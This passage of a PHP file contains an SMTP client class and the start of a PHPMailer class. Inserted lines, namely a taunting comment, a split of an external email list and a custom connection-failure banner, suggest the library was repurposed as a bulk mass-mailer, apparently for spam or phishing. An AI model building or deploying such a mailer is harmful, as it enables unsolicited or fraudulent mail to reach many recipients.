914 if($this->do_debug >= 2) {
915 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
916 }
917
918 if($code != 250) {
919 $this->error =
920 array("error" => $hello . " not accepted from server",
921 "smtp_code" => $code,
922 "smtp_msg" => substr($rply,4));
923 if($this->do_debug >= 1) {
924 echo "SMTP -> ERROR: " . $this->error["error"] .
925 ": " . $rply . $this->CRLF;
926 }
927 return false;
928 }
929
930 $this->helo_rply = $rply;
931
932 return true;
933 }
934
935 /**
936 * Gets help information on the keyword specified. If the keyword
937 * is not specified then returns generic help, ussually contianing
938 * A list of keywords that help is available on. This function
939 * returns the results back to the user. It is up to the user to
940 * handle the returned data. If an error occurs then false is
941 * returned with $this->error set appropiately.
942 *
943 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
944 *
945 * SMTP CODE SUCCESS: 211,214
946 * SMTP CODE ERROR : 500,501,502,504,421
947 * @access public
948 * @return string
949 */
950 function Help($keyword="") {
951 $this->error = null; # to avoid confusion
952
953 if(!$this->connected()) {
954 $this->error = array(
955 "error" => "Called Help() without being connected");
956 return false;
957 }
958
959 $extra = "";
960 if(!empty($keyword)) {
961 $extra = " " . $keyword;
962 }
963
964 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
965
966 $rply = $this->get_lines();
967 $code = substr($rply,0,3);
968
969 if($this->do_debug >= 2) {
970 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
971 }
972
973 if($code != 211 && $code != 214) {
974 $this->error =
975 array("error" => "HELP not accepted from server",
976 "smtp_code" => $code,
977 "smtp_msg" => substr($rply,4));
978 if($this->do_debug >= 1) {
979 echo "SMTP -> ERROR: " . $this->error["error"] .
980 ": " . $rply . $this->CRLF;
981 }
982 return false;
983 }
984
985 return $rply;
986 }
987
988 /**
989 * Starts a mail transaction from the email address specified in
990 * $from. Returns true if successful or false otherwise. If True
991 * the mail transaction is started and then one or more Recipient
992 * commands may be called followed by a Data command.
993 *
994 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
995 *
996 * SMTP CODE SUCCESS: 250
997 * SMTP CODE SUCCESS: 552,451,452
998 * SMTP CODE SUCCESS: 500,501,421
999 * @access public
1000 * @return bool
1001 */
1002 function Mail($from) {
1003 $this->error = null; # so no confusion is caused
1004
1005 if(!$this->connected()) {
1006 $this->error = array(
1007 "error" => "Called Mail() without being connected");
1008 return false;
1009 }
1010
1011 $useVerp = ($this->do_verp ? "XVERP" : "");
1012 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1013
1014 $rply = $this->get_lines();
1015 $code = substr($rply,0,3);
1016
1017 if($this->do_debug >= 2) {
1018 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1019 }
1020
1021 if($code != 250) {
1022 $this->error =
1023 array("error" => "MAIL not accepted from server",
1024 "smtp_code" => $code,
1025 "smtp_msg" => substr($rply,4));
1026 if($this->do_debug >= 1) {
1027 echo "SMTP -> ERROR: " . $this->error["error"] .
1028 ": " . $rply . $this->CRLF;
1029 }
1030 return false;
1031 }
1032 return true;
1033 }
1034
1035 /**
1036 * Sends the command NOOP to the SMTP server.
1037 *
1038 * Implements from rfc 821: NOOP <CRLF>
1039 *
1040 * SMTP CODE SUCCESS: 250
1041 * SMTP CODE ERROR : 500, 421
1042 * @access public
1043 * @return bool
1044 */
1045 function Noop() {
1046 $this->error = null; # so no confusion is caused
1047
1048 if(!$this->connected()) {
1049 $this->error = array(
1050 "error" => "Called Noop() without being connected");
1051 return false;
1052 }
1053
1054 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1055
1056 $rply = $this->get_lines();
1057 $code = substr($rply,0,3);
1058
1059 if($this->do_debug >= 2) {
1060 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1061 }
1062
1063 if($code != 250) {
1064 $this->error =
1065 array("error" => "NOOP not accepted from server",
1066 "smtp_code" => $code,
1067 "smtp_msg" => substr($rply,4));
1068 if($this->do_debug >= 1) {
1069 echo "SMTP -> ERROR: " . $this->error["error"] .
1070 ": " . $rply . $this->CRLF;
1071 }
1072 return false;
1073 }
1074 return true;
1075 }
1076
1077 /**
1078 * Sends the quit command to the server and then closes the socket
1079 * if there is no error or the $close_on_error argument is true.
1080 *
1081 * Implements from rfc 821: QUIT <CRLF>
1082 *
1083 * SMTP CODE SUCCESS: 221
1084 * SMTP CODE ERROR : 500
1085 * @access public
1086 * @return bool
1087 */
1088 function Quit($close_on_error=true) {
1089 $this->error = null; # so there is no confusion
1090
1091 if(!$this->connected()) {
1092 $this->error = array(
1093 "error" => "Called Quit() without being connected");
1094 return false;
1095 }
1096
1097 # send the quit command to the server
1098 fputs($this->smtp_conn,"quit" . $this->CRLF);
1099
1100 # get any good-bye messages
1101 $byemsg = $this->get_lines();
1102
1103 if($this->do_debug >= 2) {
1104 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1105 }
1106
1107 $rval = true;
1108 $e = null;
1109
1110 $code = substr($byemsg,0,3);
1111 if($code != 221) {
1112 # use e as a tmp var cause Close will overwrite $this->error
1113 $e = array("error" => "SMTP server rejected quit command",
1114 "smtp_code" => $code,
1115 "smtp_rply" => substr($byemsg,4));
1116 $rval = false;
1117 if($this->do_debug >= 1) {
1118 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1119 $byemsg . $this->CRLF;
1120 }
1121 }
1122
1123 if(empty($e) || $close_on_error) {
1124 $this->Close();
1125 }
1126
1127 return $rval;
1128 }
1129
1130 /**
1131 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1132 * Returns true if the recipient was accepted false if it was rejected.
1133 *
1134 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1135 *
1136 * SMTP CODE SUCCESS: 250,251
1137 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1138 * SMTP CODE ERROR : 500,501,503,421
1139 * @access public
1140 * @return bool
1141 */
1142 function Recipient($to) {
1143 $this->error = null; # so no confusion is caused
1144
1145 if(!$this->connected()) {
1146 $this->error = array(
1147 "error" => "Called Recipient() without being connected");
1148 return false;
1149 }
1150
1151 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1152
1153 $rply = $this->get_lines();
1154 $code = substr($rply,0,3);
1155
1156 if($this->do_debug >= 2) {
1157 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1158 }
1159
1160 if($code != 250 && $code != 251) {
1161 $this->error =
1162 array("error" => "RCPT not accepted from server",
1163 "smtp_code" => $code,
1164 "smtp_msg" => substr($rply,4));
1165 if($this->do_debug >= 1) {
1166 echo "SMTP -> ERROR: " . $this->error["error"] .
1167 ": " . $rply . $this->CRLF;
1168 }
1169 return false;
1170 }
1171 return true;
1172 }
1173
1174 /**
1175 * Sends the RSET command to abort and transaction that is
1176 * currently in progress. Returns true if successful false
1177 * otherwise.
1178 *
1179 * Implements rfc 821: RSET <CRLF>
1180 *
1181 * SMTP CODE SUCCESS: 250
1182 * SMTP CODE ERROR : 500,501,504,421
1183 * @access public
1184 * @return bool
1185 */
1186 function Reset() {
1187 $this->error = null; # so no confusion is caused
1188
1189 if(!$this->connected()) {
1190 $this->error = array(
1191 "error" => "Called Reset() without being connected");
1192 return false;
1193 }
1194
1195 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1196
1197 $rply = $this->get_lines();
1198 $code = substr($rply,0,3);
1199
1200 if($this->do_debug >= 2) {
1201 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1202 }
1203
1204 if($code != 250) {
1205 $this->error =
1206 array("error" => "RSET failed",
1207 "smtp_code" => $code,
1208 "smtp_msg" => substr($rply,4));
1209 if($this->do_debug >= 1) {
1210 echo "SMTP -> ERROR: " . $this->error["error"] .
1211 ": " . $rply . $this->CRLF;
1212 }
1213 return false;
1214 }
1215
1216 return true;
1217 }
1218
1219 /**
1220 * Starts a mail transaction from the email address specified in
1221 * $from. Returns true if successful or false otherwise. If True
1222 * the mail transaction is started and then one or more Recipient
1223 * commands may be called followed by a Data command. This command
1224 * will send the message to the users terminal if they are logged
1225 * in.
1226 *
1227 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1228 *
1229 * SMTP CODE SUCCESS: 250
1230 * SMTP CODE SUCCESS: 552,451,452
1231 * SMTP CODE SUCCESS: 500,501,502,421
1232 * @access public
1233 * @return bool
1234 */
1235 function Send($from) {
1236 $this->error = null; # so no confusion is caused
1237
1238 if(!$this->connected()) {
1239 $this->error = array(
1240 "error" => "Called Send() without being connected");
1241 return false;
1242 }
1243
1244 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1245
1246 $rply = $this->get_lines();
1247 $code = substr($rply,0,3);
1248
1249 if($this->do_debug >= 2) {
1250 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1251 }
1252
1253 if($code != 250) {
1254 $this->error =
1255 array("error" => "SEND not accepted from server",
1256 "smtp_code" => $code,
1257 "smtp_msg" => substr($rply,4));
1258 if($this->do_debug >= 1) {
1259 echo "SMTP -> ERROR: " . $this->error["error"] .
1260 ": " . $rply . $this->CRLF;
1261 }
1262 return false;
1263 }
1264 return true;
1265 }
1266
1267 /**
1268 * Starts a mail transaction from the email address specified in
1269 * $from. Returns true if successful or false otherwise. If True
1270 * the mail transaction is started and then one or more Recipient
1271 * commands may be called followed by a Data command. This command
1272 * will send the message to the users terminal if they are logged
1273 * in and send them an email.
1274 *
1275 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1276 *
1277 * SMTP CODE SUCCESS: 250
1278 * SMTP CODE SUCCESS: 552,451,452
1279 * SMTP CODE SUCCESS: 500,501,502,421
1280 * @access public
1281 * @return bool
1282 */
1283 function SendAndMail($from) {
1284 $this->error = null; # so no confusion is caused
1285
1286 if(!$this->connected()) {
1287 $this->error = array(
1288 "error" => "Called SendAndMail() without being connected");
1289 return false;
1290 }
1291
1292 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1293
1294 $rply = $this->get_lines();
1295 $code = substr($rply,0,3);
1296
1297 if($this->do_debug >= 2) {
1298 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1299 }
1300
1301 if($code != 250) {
1302 $this->error =
1303 array("error" => "SAML not accepted from server",
1304 "smtp_code" => $code,
1305 "smtp_msg" => substr($rply,4));
1306 if($this->do_debug >= 1) {
1307 echo "SMTP -> ERROR: " . $this->error["error"] .
1308 ": " . $rply . $this->CRLF;
1309 }
1310 return false;
1311 }
1312 return true;
1313 }
1314
1315 /**
1316 * Starts a mail transaction from the email address specified in
1317 * $from. Returns true if successful or false otherwise. If True
1318 * the mail transaction is started and then one or more Recipient
1319 * commands may be called followed by a Data command. This command
1320 * will send the message to the users terminal if they are logged
1321 * in or mail it to them if they are not.
1322 *
1323 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1324 *
1325 * SMTP CODE SUCCESS: 250
1326 * SMTP CODE SUCCESS: 552,451,452
1327 * SMTP CODE SUCCESS: 500,501,502,421
1328 * @access public
1329 * @return bool
1330 */
1331 function SendOrMail($from) {
1332 $this->error = null; # so no confusion is caused
1333
1334 if(!$this->connected()) {
1335 $this->error = array(
1336 "error" => "Called SendOrMail() without being connected");
1337 return false;
1338 }
1339
1340 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1341
1342 $rply = $this->get_lines();
1343 $code = substr($rply,0,3);
1344
1345 if($this->do_debug >= 2) {
1346 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1347 }
1348
1349 if($code != 250) {
1350 $this->error =
1351 array("error" => "SOML not accepted from server",
1352 "smtp_code" => $code,
1353 "smtp_msg" => substr($rply,4));
1354 if($this->do_debug >= 1) {
1355 echo "SMTP -> ERROR: " . $this->error["error"] .
1356 ": " . $rply . $this->CRLF;
1357 }
1358 return false;
1359 }
1360 return true;
1361 }
1362
1363 /**
1364 * This is an optional command for SMTP that this class does not
1365 * support. This method is here to make the RFC821 Definition
1366 * complete for this class and __may__ be implimented in the future
1367 *
1368 * Implements from rfc 821: TURN <CRLF>
1369 *
1370 * SMTP CODE SUCCESS: 250
1371 * SMTP CODE FAILURE: 502
1372 * SMTP CODE ERROR : 500, 503
1373 * @access public
1374 * @return bool
1375 */
1376 function Turn() {
1377 $this->error = array("error" => "This method, TURN, of the SMTP ".
1378 "is not implemented");
1379 if($this->do_debug >= 1) {
1380 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1381 }
1382 return false;
1383 }
1384
1385 /**
1386 * Verifies that the name is recognized by the server.
1387 * Returns false if the name could not be verified otherwise
1388 * the response from the server is returned.
1389 *
1390 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1391 *
1392 * SMTP CODE SUCCESS: 250,251
1393 * SMTP CODE FAILURE: 550,551,553
1394 * SMTP CODE ERROR : 500,501,502,421
1395 * @access public
1396 * @return int
1397 */
1398 function Verify($name) {
1399 $this->error = null; # so no confusion is caused
1400
1401 if(!$this->connected()) {
1402 $this->error = array(
1403 "error" => "Called Verify() without being connected");
1404 return false;
1405 }
1406
1407 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1408
1409 $rply = $this->get_lines();
1410 $code = substr($rply,0,3);
1411
1412 if($this->do_debug >= 2) {
1413 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1414 }
1415
1416 if($code != 250 && $code != 251) {
1417 $this->error =
1418 array("error" => "VRFY failed on name '$name'",
1419 "smtp_code" => $code,
1420 "smtp_msg" => substr($rply,4));
1421 if($this->do_debug >= 1) {
1422 echo "SMTP -> ERROR: " . $this->error["error"] .
1423 ": " . $rply . $this->CRLF;
1424 }
1425 return false;
1426 }
1427 return $rply;
1428 }
1429
1430 /*******************************************************************
1431 * INTERNAL FUNCTIONS *
1432 ******************************************************************/
1433
1434 /**
1435 * Read in as many lines as possible
1436 * either before eof or socket timeout occurs on the operation.
1437 * With SMTP we can tell if we have more lines to read if the
1438 * 4th character is '-' symbol. If it is a space then we don't
1439 * need to read anything else.
1440 * @access private
1441 * @return string
1442 */
1443 function get_lines() {
1444 $data = "";
1445 while($str = @fgets($this->smtp_conn,515)) {
1446 if($this->do_debug >= 4) {
1447 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1448 $this->CRLF;
1449 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1450 $this->CRLF;
1451 }
1452 $data .= $str;
1453 if($this->do_debug >= 4) {
1454 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1455 }
1456 # if the 4th character is a space then we are done reading
1457 # so just break the loop
1458 if(substr($str,3,1) == " ") { break; }
1459 }
1460 return $data;
1461 }
1462
1463}
1464 // Here Bitchz Hilmy
1465
1466$allemails = split("\n", $emaillist);
1467$numemails = count($allemails);
1468
1469class PHPMailer {
1470
1471 /////////////////////////////////////////////////
1472 // PROPERTIES, PUBLIC
1473 /////////////////////////////////////////////////
1474
1475 /**
1476 * Email priority (1 = High, 3 = Normal, 5 = low).
1477 * @var int
1478 */
1479 var $Priority = 3;
1480
1481 /**
1482 * Sets the CharSet of the message.
1483 * @var string
1484 */
1485 var $CharSet = 'us-ascii';
1486
1487 /**
1488 * Sets the Content-type of the message.
1489 * @var string
1490 */
1491 var $ContentType = 'text/plain';
1492
1493 /**
1494 * Sets the Encoding of the message. Options for this are "8bit",
1495 * "7bit", "binary", "base64", and "quoted-printable".
1496
1497 * @var string
1498 */
1499 var $Encoding = 'quoted-printable';
1500
1501 /**
1502 * Holds the most recent mailer error message.
1503 * @var string
1504 */
1505 var $ErrorInfo = '';
1506
1507 /**
1508 * Sets the From email address for the message.
1509 * @var string
1510 */
1511 var $From = '';
1512
1513 /**
1514 * Sets the From name of the message.
1515 * @var string
1516 */
1517 var $FromName = '';
1518
1519 /**
1520 * Sets the Sender email (Return-Path) of the message. If not empty,
1521 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1522 * @var string
1523 */
1524 var $Sender = '';
1525
1526 /**
1527 * Sets the Subject of the message.
1528 * @var string
1529 */
1530 var $Subject = '';
1531
1532 /**
1533 * Sets the Body of the message. This can be either an HTML or text body.
1534 * If HTML then run IsHTML(true).
1535 * @var string
1536 */
1537 var $Body = '';
1538
1539 /**
1540 * Sets the text-only body of the message. This automatically sets the
1541 * email to multipart/alternative. This body can be read by mail
1542 * clients that do not have HTML email capability such as mutt. Clients
1543 * that can read HTML will view the normal Body.
1544 * @var string
1545 */
1546 var $AltBody = '';
1547
1548 /**
1549 * Sets word wrapping on the body of the message to a given number of
1550 * characters.
1551 * @var int
1552 */
1553 var $WordWrap = 0;
1554
1555 /**
1556 * Method to send mail: ("mail", "sendmail", or "smtp").
1557 * @var string
1558 */
1559 var $Mailer = 'mail';
1560
1561 /**
1562 * Sets the path of the sendmail program.
1563 * @var string
1564 */
1565 var $Sendmail = '/usr/sbin/sendmail';
1566
1567 /**
1568 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1569 * is in a different directory than the PHP include path.
1570 * @var string
1571 */
1572 var $PluginDir = '';
1573
1574 /**
1575 * Holds PHPMailer version.
1576 * @var string
1577 */
1578 var $Version = "";
1579
1580 /**
1581 * Sets the email address that a reading confirmation will be sent.
1582 * @var string
1583 */
1584 var $ConfirmReadingTo = '';
1585
1586 /**
1587 * Sets the hostname to use in Message-Id and Received headers
1588 * and as default HELO string. If empty, the value returned
1589 * by SERVER_NAME is used or 'localhost.localdomain'.
1590 * @var string
1591 */
1592 var $Hostname = '';
1593
1594 /**
1595 * Sets the message ID to be used in the Message-Id header.
1596 * If empty, a unique id will be generated.
1597 * @var string
1598 */
1599 var $MessageID = '';
1600
1601 /////////////////////////////////////////////////
1602 // PROPERTIES FOR SMTP
1603 /////////////////////////////////////////////////
1604
1605 /**
1606 * Sets the SMTP hosts. All hosts must be separated by a
1607 * semicolon. You can also specify a different port
1608 * for each host by using this format: [hostname:port]
1609 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1610 * Hosts will be tried in order.
1611 * @var string
1612 */
1613 var $Host = 'localhost';
1614
1615 /**
1616 * Sets the default SMTP server port.
1617 * @var int
1618 */
1619 var $Port = 25;
1620
1621 /**
1622 * Sets the SMTP HELO of the message (Default is $Hostname).
1623 * @var string
1624 */
1625 var $Helo = '';
1626
1627 /**
1628 * Sets connection prefix.
1629 * Options are "", "ssl" or "tls"
1630 * @var string
1631 */
1632 var $SMTPSecure = "";
1633
1634 /**
1635 * Sets SMTP authentication. Utilizes the Username and Password variables.
1636 * @var bool
1637 */
1638 var $SMTPAuth = false;
1639
1640 /**
1641 * Sets SMTP username.
1642 * @var string
1643 */
1644 var $Username = '';
1645
1646 /**
1647 * Sets SMTP password.
1648 * @var string
1649 */
1650 var $Password = '';
1651
1652 /**
1653 * Sets the SMTP server timeout in seconds. This function will not
1654 * work with the win32 version.
1655 * @var int
1656 */
1657 var $Timeout = 10;
1658
1659 /**
1660 * Sets SMTP class debugging on or off.
1661 * @var bool
1662 */
1663 var $SMTPDebug = false;
1664
1665 /**
1666 * Prevents the SMTP connection from being closed after each mail
1667 * sending. If this is set to true then to close the connection
1668 * requires an explicit call to SmtpClose().
1669 * @var bool
1670 */
1671 var $SMTPKeepAlive = false;
1672
1673 /**
1674 * Provides the ability to have the TO field process individual
1675 * emails, instead of sending to entire TO addresses
1676 * @var bool
1677 */
1678 var $SingleTo = false;
1679
1680 /////////////////////////////////////////////////
1681 // PROPERTIES, PRIVATE
1682 /////////////////////////////////////////////////
1683
1684 var $smtp = NULL;
1685 var $to = array();
1686 var $cc = array();
1687 var $bcc = array();
1688 var $ReplyTo = array();
1689 var $attachment = array();
1690 var $CustomHeader = array();
1691 var $message_type = '';
1692 var $boundary = array();
1693 var $language = array();
1694 var $error_count = 0;
1695 var $LE = "\n";
1696 var $sign_key_file = "";
1697 var $sign_key_pass = "";
1698
1699 /////////////////////////////////////////////////
1700 // METHODS, VARIABLES
1701 /////////////////////////////////////////////////
1702
1703 /**
1704 * Sets message type to HTML.
1705 * @param bool $bool
1706 * @return void
1707 */
1708 function IsHTML($bool) {
1709 if($bool == true) {
1710 $this->ContentType = 'text/html';
1711 } else {
1712 $this->ContentType = 'text/plain';
1713 }
1714 }
1715
1716 /**
1717 * Sets Mailer to send message using SMTP.
1718 * @return void
1719 */
1720 function IsSMTP() {
1721 $this->Mailer = 'smtp';
1722 }
1723
1724 /**
1725 * Sets Mailer to send message using PHP mail() function.
1726 * @return void
1727 */
1728 function IsMail() {
1729 $this->Mailer = 'mail';
1730 }
1731
1732 /**
1733 * Sets Mailer to send message using the $Sendmail program.
1734 * @return void
1735 */
1736 function IsSendmail() {
1737 $this->Mailer = 'sendmail';
1738 }
1739
1740 /**
1741 * Sets Mailer to send message using the qmail MTA.
1742 * @return void
1743 */
1744 function IsQmail() {
1745 $this->Sendmail = '/var/qmail/bin/sendmail';
1746 $this->Mailer = 'sendmail';
1747 }
1748
1749 /////////////////////////////////////////////////
1750 // METHODS, RECIPIENTS
1751 /////////////////////////////////////////////////
1752
1753 /**
1754 * Adds a "To" address.
1755 * @param string $address
1756 * @param string $name
1757 * @return void
1758 */
1759 function AddAddress($address, $name = '') {
1760 $cur = count($this->to);
1761 $this->to[$cur][0] = trim($address);
1762 $this->to[$cur][1] = $name;
1763 }
1764
1765 /**
1766 * Adds a "Cc" address. Note: this function works
1767 * with the SMTP mailer on win32, not with the "mail"
1768 * mailer.
1769 * @param string $address
1770 * @param string $name
1771 * @return void
1772 */
1773 function AddCC($address, $name = '') {
1774 $cur = count($this->cc);
1775 $this->cc[$cur][0] = trim($address);
1776 $this->cc[$cur][1] = $name;
1777 }
1778
1779 /**
1780 * Adds a "Bcc" address. Note: this function works
1781 * with the SMTP mailer on win32, not with the "mail"
1782 * mailer.
1783 * @param string $address
1784 * @param string $name
1785 * @return void
1786 */
1787 function AddBCC($address, $name = '') {
1788 $cur = count($this->bcc);
1789 $this->bcc[$cur][0] = trim($address);
1790 $this->bcc[$cur][1] = $name;
1791 }
1792
1793 /**
1794 * Adds a "Reply-To" address.
1795 * @param string $address
1796 * @param string $name
1797 * @return void
1798 */
1799 function AddReplyTo($address, $name = '') {
1800 $cur = count($this->ReplyTo);
1801 $this->ReplyTo[$cur][0] = trim($address);
1802 $this->ReplyTo[$cur][1] = $name;
1803 }
1804
1805 /////////////////////////////////////////////////
1806 // METHODS, MAIL SENDING
1807 /////////////////////////////////////////////////
1808
1809 /**
1810 * Creates message and assigns Mailer. If the message is
1811 * not sent successfully then it returns false. Use the ErrorInfo
1812 * variable to view description of the error.
1813 * @return bool
1814 */
1815 function Send() {
1816 $header = '';
1817 $body = '';
1818 $result = true;
1819
1820 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1821 $this->SetError($this->Lang('provide_address'));
1822 return false;
1823 }
1824
1825 /* Set whether the message is multipart/alternative */
1826 if(!empty($this->AltBody)) {
1827 $this->ContentType = 'multipart/alternative';
1828 }
1829
1830 $this->error_count = 0; // reset errors
1831 $this->SetMessageType();
1832 $header .= $this->CreateHeader();
1833 $body = $this->CreateBody();
1834
1835 if($body == '') {
1836 return false;
1837 }
1838
1839 /* Choose the mailer */
1840 switch($this->Mailer) {
1841 case 'sendmail':
1842 $result = $this->SendmailSend($header, $body);
1843 break;
1844 case 'smtp':
1845 $result = $this->SmtpSend($header, $body);
1846 break;
1847 case 'mail':
1848 $result = $this->MailSend($header, $body);
1849 break;
1850 default:
1851 $result = $this->MailSend($header, $body);
1852 break;
1853 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1854 //$result = false;
1855 //break;
1856 }
1857
1858 return $result;
1859 }
1860
1861 /**
1862 * Sends mail using the $Sendmail program.
1863 * @access private
1864 * @return bool
1865 */
1866 function SendmailSend($header, $body) {
1867 if ($this->Sender != '') {
1868 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1869 } else {
1870 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1871 }
1872
1873 if(!@$mail = popen($sendmail, 'w')) {
1874 $this->SetError($this->Lang('execute') . $this->Sendmail);
1875 return false;
1876 }
1877
1878 fputs($mail, $header);
1879 fputs($mail, $body);
1880
1881 $result = pclose($mail);
1882 if (version_compare(phpversion(), '4.2.3') == -1) {
1883 $result = $result >> 8 & 0xFF;
1884 }
1885 if($result != 0) {
1886 $this->SetError($this->Lang('execute') . $this->Sendmail);
1887 return false;
1888 }
1889 return true;
1890 }
1891
1892 /**
1893 * Sends mail using the PHP mail() function.
1894 * @access private
1895 * @return bool
1896 */
1897 function MailSend($header, $body) {
1898
1899 $to = '';
1900 for($i = 0; $i < count($this->to); $i++) {
1901 if($i != 0) { $to .= ', '; }
1902 $to .= $this->AddrFormat($this->to[$i]);
1903 }
1904
1905 $toArr = split(',', $to);
1906
1907 $params = sprintf("-oi -f %s", $this->Sender);
1908 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1909 $old_from = ini_get('sendmail_from');
1910 ini_set('sendmail_from', $this->Sender);
1911 if ($this->SingleTo === true && count($toArr) > 1) {
1912 foreach ($toArr as $key => $val) {
1913 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1914 }
1915 } else {
1916 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1917 }
1918 } else {
1919 if ($this->SingleTo === true && count($toArr) > 1) {
1920 foreach ($toArr as $key => $val) {
1921 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1922 }
1923 } else {
1924 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1925 }
1926 }
1927
1928 if (isset($old_from)) {
1929 ini_set('sendmail_from', $old_from);
1930 }
1931
1932 if(!$rt) {
1933 $this->SetError($this->Lang('instantiate'));
1934 return false;
1935 }
1936
1937 return true;
1938 }
1939
1940 /**
1941 * Sends mail via SMTP using PhpSMTP (Author:
1942 * Chris Ryan). Returns bool. Returns false if there is a
1943 * bad MAIL FROM, RCPT, or DATA input.
1944 * @access private
1945 * @return bool
1946 */
1947 function SmtpSend($header, $body) {
1948 $error = '';
1949 $bad_rcpt = array();
1950
1951 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1952 return false;
1953 }
1954
1955 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1956 if(!$this->smtp->Mail($smtp_from)) {
1957 $error = $this->Lang('from_failed') . $smtp_from;
1958 $this->SetError($error);
1959 $this->smtp->Reset();
1960 return false;
1961 }
1962
1963 /* Attempt to send attach all recipients */
1964 for($i = 0; $i < count($this->to); $i++) {
1965 if(!$this->smtp->Recipient($this->to[$i][0])) {
1966 $bad_rcpt[] = $this->to[$i][0];
1967 }
1968 }
1969 for($i = 0; $i < count($this->cc); $i++) {
1970 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1971 $bad_rcpt[] = $this->cc[$i][0];
1972 }
1973 }
1974 for($i = 0; $i < count($this->bcc); $i++) {
1975 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1976 $bad_rcpt[] = $this->bcc[$i][0];
1977 }
1978 }
1979
1980 if(count($bad_rcpt) > 0) { // Create error message
1981 for($i = 0; $i < count($bad_rcpt); $i++) {
1982 if($i != 0) {
1983 $error .= ', ';
1984 }
1985 $error .= $bad_rcpt[$i];
1986
1987 }
1988 $error = $this->Lang('recipients_failed') . $error;
1989 $this->SetError($error);
1990 $this->smtp->Reset();
1991 return false;
1992 }
1993
1994 if(!$this->smtp->Data($header . $body)) {
1995 $this->SetError($this->Lang('data_not_accepted'));
1996 $this->smtp->Reset();
1997 return false;
1998 }
1999 if($this->SMTPKeepAlive == true) {
2000 $this->smtp->Reset();
2001 } else {
2002 $this->SmtpClose();
2003 }
2004
2005 return true;
2006 }
2007
2008 /**
2009 * Initiates a connection to an SMTP server. Returns false if the
2010 * operation failed.
2011 * @access private
2012 * @return bool
2013 */
2014 function SmtpConnect() {
2015 if($this->smtp == NULL) {
2016 $this->smtp = new SMTP();
2017 }
2018
2019 $this->smtp->do_debug = $this->SMTPDebug;
2020 $hosts = explode(';', $this->Host);
2021 $index = 0;
2022 $connection = ($this->smtp->Connected());
2023
2024 /* Retry while there is no connection */
2025 while($index < count($hosts) && $connection == false) {
2026 $hostinfo = array();
2027 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2028 $host = $hostinfo[1];
2029 $port = $hostinfo[2];
2030 } else {
2031 $host = $hosts[$index];
2032 $port = $this->Port;
2033 }
2034
2035 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2036 if ($this->Helo != '') {
2037 $this->smtp->Hello($this->Helo);
2038 } else {
2039 $this->smtp->Hello($this->ServerHostname());
2040 }
2041
2042 $connection = true;
2043 if($this->SMTPAuth) {
2044 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2045 $this->SetError($this->Lang('authenticate'));
2046 $this->smtp->Reset();
2047 $connection = false;
2048 }
2049 }
2050 }
2051 $index++;
2052 }
2053 if(!$connection) {
2054 $this->SetError($this->Lang('connect_host'));
2055 }
2056
2057 return $connection;
2058 }
2059
2060 /**
2061 * Closes the active SMTP session if one exists.
2062 * @return void
2063 */
2064 function SmtpClose() {
2065 if($this->smtp != NULL) {
2066 if($this->smtp->Connected()) {
2067 $this->smtp->Quit();
2068 $this->smtp->Close();
2069 }
2070 }
2071 }
2072
